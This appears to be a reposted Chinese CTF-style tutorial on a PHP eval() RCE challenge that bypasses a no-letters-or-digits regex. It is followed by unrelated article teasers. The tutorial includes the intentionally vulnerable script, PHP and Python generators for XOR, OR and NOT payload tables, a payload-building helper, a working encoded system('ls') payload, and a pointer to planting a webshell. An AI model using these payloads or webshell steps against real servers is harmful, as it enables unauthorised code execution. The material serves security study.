有趣的的rce漏洞复现分析

news2024/12/25 1:08:21

目录

无字母数字绕过正则表达式

解读代码

解题思路

异或

取反

无字母数字绕过正则表达式

首先我们依然是搭建环境(环境依然是Ubuntu下部署,和之前的漏洞环境一样)

<?php
error_reporting(0);
highlight_file(__FILE__);
$code=$_GET['code'];
if(preg_match('/[a-z0-9]/i',$code)){
    die('hacker');
}
eval($code);

解读代码

这段代码的目的是让用户在URL参数中输入代码,但如果输入的代码中包含字母或数字,程序就会停止执行并输出“hacker”。如果输入的代码中不包含字母或数字,则该代码会被直接执行。这种做法有很高的安全风险,因为`eval()`函数会执行用户输入的任何代码,可能会导致严重的安全问题。

这段PHP代码展示了当前文件的内容,并对用户输入的代码进行了某种程度的过滤和执行。具体来说,代码的功能如下:

1. `error_reporting(0);`:这一行关闭了所有的错误报告,也就是说,即使代码中有错误,服务器也不会显示任何错误信息。

2. `highlight_file(__FILE__);`:这一行将当前PHP文件的内容高亮显示在网页上,让用户可以看到代码的源代码。

3. `$code=$_GET['code'];`:这一行从URL参数`code`中获取用户输入的值,并将其赋值给变量`$code`。

4. `if(preg_match('/[a-z0-9]/i',$code)){ die('hacker'); }`:这一行通过正则表达式检查`$code`中是否包含字母或数字。如果包含,则程序终止,并输出“hacker”。

    - `preg_match('/[a-z0-9]/i',$code)`:这个正则表达式匹配大小写不敏感的字母(`a-zA-Z`)或数字(`0-9`)。
    - **`die('hacker');`**:如果匹配成功,则执行`die()`函数,终止脚本的执行,并输出“hacker”。

5. `eval($code);`:这一行使用`eval()`函数执行`$code`中的代码。这意味着用户输入的代码会被当作PHP代码执行。

解题思路

这个时候,我们是理解了这个代码过滤了大小写和数字,那我们该如何成功拿下这个呢,根据代码的意思是我们通过get传参进行传递参数,那我们如何不做任何绕过,那么估计会触发输出hacker,我们先试一下触发后的情况

?code=system('ls")

结果和我们预想的一样,那我们该做怎样的绕过呢,这个时候我们可以使用异或、或、取反三种基本的的方式把想要的字符拼接出来。这时候又遇到一个问题啦,难道我们要一个一个试吗,不,作为一个学习网络安全的同学,有必要掌握至少一门的脚本编程语言,来提高我们的办事效率。那这里我以php和Python两个语言编写脚本

异或

php

<?php
$myfile = fopen("xor_rce.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) { 
	for ($j=0; $j <256 ; $j++) { 

		if($i<16){
			$hex_i='0'.dechex($i);
		}
		else{
			$hex_i=dechex($i);
		}
		if($j<16){
			$hex_j='0'.dechex($j);
		}
		else{
			$hex_j=dechex($j);
		}
		$preg = '/[a-z0-9]/i'; //根据题目给的正则表达式修改即可
		if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
					echo "";
    }
  
		else{
		$a='%'.$hex_i;
		$b='%'.$hex_j;
		$c=(urldecode($a)^urldecode($b));
		if (ord($c)>=32&ord($c)<=126) {
			$contents=$contents.$c." ".$a." ".$b."\n";
		}
	}

}
}
fwrite($myfile,$contents);
fclose($myfile);

Python

import re

with open("xor_rce.txt", "w") as myfile:
    contents = ""
    for i in range(256):
        for j in range(256):
            hex_i = format(i, '02x')
            hex_j = format(j, '02x')

            preg = re.compile(r'[a-z0-9]', re.IGNORECASE)  # 根据题目给的正则表达式修改即可
            if preg.search(bytes.fromhex(hex_i).decode('latin-1')) or preg.search(
                    bytes.fromhex(hex_j).decode('latin-1')):
                continue
            else:
                a = '%' + hex_i
                b = '%' + hex_j
                c = chr(ord(bytes.fromhex(hex_i).decode('latin-1')) ^ ord(bytes.fromhex(hex_j).decode('latin-1')))

                if 32 <= ord(c) <= 126:
                    contents += f"{c} {a} {b}\n"

    myfile.write(contents)

结果是一整个文本文档,我们只需要找到我们想要字符的异或方式,就好了。

但是在这个时候,我觉得这么找太不方便了,那就重新写一个脚本,来进行查找吧

import requests
import urllib
from sys import *
import os


def action(arg):
    s1 = ""
    s2 = ""
    for i in arg:
        f = open("xor_rce.txt", "r")
        while True:
            t = f.readline()
            if t == "":
                break
            if t[0] == i:
                # print(i)
                s1 += t[2:5]
                s2 += t[6:9]
                break
        f.close()
    output = "(\"" + s1 + "\"^\"" + s2 + "\")"
    return (output)


while True:
    param = action(input("\n[+] your function:")) + action(input("[+] your command:")) + ";"
    print(param)

结果

直接测试,看我们的想法是否可行

剩下的就是写一句话木马,蚁剑进行连接,之后的步骤,懂的都懂。

或和异或无非就是修改一点代码,整体框架不变。

php

<?php
$myfile = fopen("xor_rce1.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) { 
	for ($j=0; $j <256 ; $j++) { 

		if($i<16){
			$hex_i='0'.dechex($i);
		}
		else{
			$hex_i=dechex($i);
		}
		if($j<16){
			$hex_j='0'.dechex($j);
		}
		else{
			$hex_j=dechex($j);
		}
		$preg = '/[a-z0-9]/i'; //根据题目给的正则表达式修改即可
		if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
					echo "";
    }
  
		else{
		$a='%'.$hex_i;
		$b='%'.$hex_j;
		$c=(urldecode($a)|urldecode($b));
		if (ord($c)>=32&ord($c)<=126) {
			$contents=$contents.$c." ".$a." ".$b."\n";
		}
	}

}
}
fwrite($myfile,$contents);
fclose($myfile);

Python

import re

with open("xor_rce1.txt", "w") as myfile:
    contents = ""
    for i in range(256):
        for j in range(256):
            hex_i = format(i, '02x')
            hex_j = format(j, '02x')

            preg = re.compile(r'[a-z0-9]', re.IGNORECASE)  # 根据题目给的正则表达式修改即可
            if preg.search(bytes.fromhex(hex_i).decode('latin-1')) or preg.search(
                    bytes.fromhex(hex_j).decode('latin-1')):
                continue
            else:
                a = '%' + hex_i
                b = '%' + hex_j
                c = chr(ord(bytes.fromhex(hex_i).decode('latin-1')) | ord(bytes.fromhex(hex_j).decode('latin-1')))

                if 32 <= ord(c) <= 126:
                    contents += f"{c} {a} {b}\n"

    myfile.write(contents)

查找脚本

import requests
import urllib
from sys import *
import os


def action(arg):
    s1 = ""
    s2 = ""
    for i in arg:
        f = open("xor_rce1.txt", "r")
        while True:
            t = f.readline()
            if t == "":
                break
            if t[0] == i:
                # print(i)
                s1 += t[2:5]
                s2 += t[6:9]
                break
        f.close()
    output = "(\"" + s1 + "\"|\"" + s2 + "\")"
    return (output)


while True:
    param = action(input("\n[+] your function:")) + action(input("[+] your command:")) + ";"
    print(param)

结果

取反

因为取反的话,基本上用的都是一个不可见字符,所有不会触发正则表达式,我们一个php脚本就可以了

<?php
var_dump(urlencode(~'system'));
var_dump(urlencode(~'ls'));exit;

?code=(~%8C%86%8C%8B%9A%92)(~%93%8C);

结果

今天的内容就到这里了,我之后还会继续更新(有趣的rce漏洞复习分析)这一系列的内容的,感谢大家的支持!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2036408.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

<数据集>车间工人、安全帽、安全背心识别<目标检测>

数据集格式&#xff1a;VOCYOLO格式 图片数量&#xff1a;3465张 标注数量(xml文件个数)&#xff1a;3465 标注数量(txt文件个数)&#xff1a;3465 标注类别数&#xff1a;3 标注类别名称&#xff1a;[person, helmet, vest] 序号类别名称图片数框数1person346594732helm…

Android 13 GMS 内置壁纸

如图&#xff0c;原生系统上&#xff0c;设备上的壁纸 显示系统内置壁纸。如果没有添加内置壁纸&#xff0c;就显示默认的壁纸。点击进去就是预览页面 扩展下&#xff0c;默认壁纸在 frameworks/base/core/res/res/drawable-sw720dp-nodpi/default_wallpaper.png frameworks/b…

云开发微信小程序--即时聊天(单人聊天,多人聊天室)

云开发微信小程序–即时聊天 介绍&#xff1a;本小程序包含欢迎界面&#xff0c;注册&#xff0c;登录&#xff0c;一对一聊天&#xff0c;群聊&#xff0c;好友添加请求验证过程&#xff0c;修改好友备注以及删除好友&#xff0c;退出群聊&#xff0c;特殊角色卡片展示&#…

Android中的EventBus的用法

1. EventBus简介 EventBus是一个优化了的事件发布/订阅模式实现的库&#xff0c;常用于Android程序组件间的通信。它可以简化不同组件之间的通信工作&#xff0c;避免复杂和耦合的依赖关系。EventBus通过事件驱动来降低代码耦合度&#xff0c;提高开发效率和代码清晰性。 2. …

自动化数据采集:Lua爬虫与JSON解析的深度整合

在互联网数据采集领域&#xff0c;自动化技术的应用日益广泛。Lua语言以其轻量级和灵活性&#xff0c;成为开发高效爬虫的理想选择。而JSON作为Web数据交换的标准格式&#xff0c;其解析技术在Lua爬虫开发中占据了核心地位。本文将探讨如何将Lua爬虫与JSON解析深度整合&#xf…

C++学习指南(四)------string

欢迎来到繁星的CSDN。本期内容主要包括字符串string。 一、什么是string&#xff1f; C语言中的string 我们在C语言中已经遇到过字符串了。 那为什么C还要单独的列出来string呢&#xff1f; 尽管这里包的头文件是iostream&#xff0c;但arr数组储存常量字符串123456789的形式仍…

Leetcode - 周赛410

目录 一&#xff0c;3248. 矩阵中的蛇 二&#xff0c;3249. 统计好节点的数目 三&#xff0c;3250. 单调数组对的数目 I dfs记忆化 dfs记忆化1&#xff1a;1改递推 四&#xff0c;3251. 单调数组对的数目 II 一&#xff0c;3248. 矩阵中的蛇 本题就是一道纯模拟题&#x…

JavaScript Web API入门day3

目录 1.事件流 1.1 事件流和两个阶段说明 1.2 事件捕获 1.3 事件冒泡 1.4 阻止冒泡 1.5 解除默认行为 1.6 解绑事件 2.事件委托 3.其他事件 3.1 页面加载事件 3.1.1 load方式 3.1.2 DOMContentLoaded 3.2 元素滚动事件 3.2.1 什么是元素滚动事件 3.2.2 获取元素…

【qt小系统】通过qt折线图实现论文内容-快餐店排队效能分析

摘要&#xff1a; 商户收银需求与收银能力不匹配&#xff0c;是一个普遍问题&#xff0c;高峰不足/平常过剩。参考论文《混合制排队模型下中式快餐店排队系统的优化_荣艳蕊.pdf》&#xff0c;本文主要使用QT5、QtChart等完成了基于以上论文模型的关于排队模型优化的图表对比功能…

精品UI资源下载分享类响应式模板素材资源下载站源码

在其他网站看到的这个源码&#xff0c;感觉UI挺漂亮的&#xff0c;就搬来了。 感兴趣的自己下载后搭建下看看&#xff0c;个人感觉UI很漂亮 2024/8/10修复&#xff1a; 标签页面显示的文章跳转链接不正确 源码下载&#xff1a;https://download.csdn.net/download/m0_66047…

开源免费的表单收集系统TDuck

TDuck&#xff08;填鸭表单&#xff09;是一款开源免费的表单收集系统&#xff0c;它基于Apache 2.0协议开源&#xff0c;用户可以随时下载源码&#xff0c;自由修改和定制&#xff0c;也可以参与到项目的贡献和反馈中。TDuck表单系统不仅支持私有化部署&#xff0c;还提供了丰…

uniapp预览图片uni.previewImage图片放大

<image v-if"file.image!" :src"file.image" click"previewImage(file.image)"></image>file: {image: ,status: 1}, // 预览 图片previewImage() {uni.previewImage({current: 1,urls: [this.img] // 是个 数组 单张的&#xff08…

【产品那些事】什么是应用程序安全态势管理(ASPM)?

文章目录 前言当前应用安全(AppSec)推进遇到的问题关于ASPM的定义 为什么需要ASPM&#xff1a;B端客户核心需求ASPM产品关键策略理想状态下的ASPMASPM与CSPM的区别国内外产品参考 前言 随着现代软件开发实践的快速演变&#xff0c;特别是在敏捷开发和 DevOps 的推动下&#xf…

与人工智能相比,人类智能里包含有信仰

信仰是人类智能的一个重要方面&#xff0c;它影响我们的意图、动机、决策和行为。 人类智能中信仰是一种独特的因素&#xff0c;影响我们如何看待世界、做决定以及形成价值观。与此相比&#xff0c;人工智能虽然可以处理大量数据并模拟决策过程&#xff0c;但它不具备信仰、情感…

哈尔滨等保测评的政策解读与最佳实践分享

哈尔滨&#xff0c;这座北方城市&#xff0c;在数字化转型的浪潮中&#xff0c;对网络安全的重视程度日益提升。其中&#xff0c;等保测评&#xff08;等级保护测评&#xff09;作为信息安全领域的基石政策&#xff0c;正引领企业构建坚不可摧的安全防线。今天&#xff0c;就让…

[Qt][对话框][下]详细讲解

目录 1.Qt内置对话框0.有哪些1.消息对话框 QMessageBox2.颜色对话框 QColorDialog3.⽂件对话框 QFileDialog4.字体对话框 QFontDialog5.输⼊对话框 QInputDialog6.进度条对话框 QProgressDialog 1.Qt内置对话框 0.有哪些 Qt提供了多种可复⽤的对话框类型&#xff0c;即Qt标准…

媒体邀约新闻稿宣发的意义和作用?

传媒如春雨&#xff0c;润物细无声&#xff0c;大家好&#xff0c;我是51媒体网胡老师。 媒体邀约新闻稿的宣发对于企业活动来说具有重要的意义和作用。这不仅能够提升企业的知名度和形象&#xff0c;还能扩大活动的影响力&#xff0c;增加媒体报道的机会&#xff0c;并建立积…

【基础解读】神奇宝贝多分类——Classification:Probabilistic Generative Model

背景 问题定义 尝试用Regression的方法解决Classification 尝试用概率的方式解决Classification 求一个个体被选中并来自于某一类的概率——贝叶斯 进行Classification 结果分析 模型调整——共用convariance matrix 结果分析 总结

Unity动画模块 之 简单创建一个序列帧动画

本文仅作笔记学习和分享&#xff0c;不用做任何商业用途 本文包括但不限于unity官方手册&#xff0c;unity唐老狮等教程知识&#xff0c;如有不足还请斧正​ 1.什么是序列帧动画 序列帧动画简单来讲就是通过连续播放一系列静态图像&#xff0c;形成动态视觉效果的过程&#xff…

Godot《躲避小兵》实战之设置项目

通过之前的学习我们已经基本了解了godot的界面&#xff0c;知道如何创建项目以及节点。那么&#xff0c;从这一章节我们将进入godot官方给我们提供的一个2D游戏开发的小教程进行入手&#xff0c;这个游戏并不是我自己的作品&#xff0c;而是我通过学习完之后&#xff0c;对其进…